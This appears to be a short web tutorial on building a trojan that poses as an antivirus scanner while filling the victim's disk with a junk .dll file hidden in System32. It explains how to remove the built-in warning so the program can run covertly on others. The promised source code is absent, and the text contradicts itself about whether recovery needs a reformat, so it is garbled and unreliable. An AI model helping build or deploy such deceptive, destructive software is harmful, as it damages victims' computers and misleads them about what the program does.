How To Make A Torjan Virus

Description:The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive. Heare the source code:

Testing: To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space. NOTE: To remove the warning message you’ve to edit the source code and then re-compile it. How to remove the Damage and free up the space? To remove the damage and free up the space, just type the following in the “run” dialog box. %systemroot%system32 Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
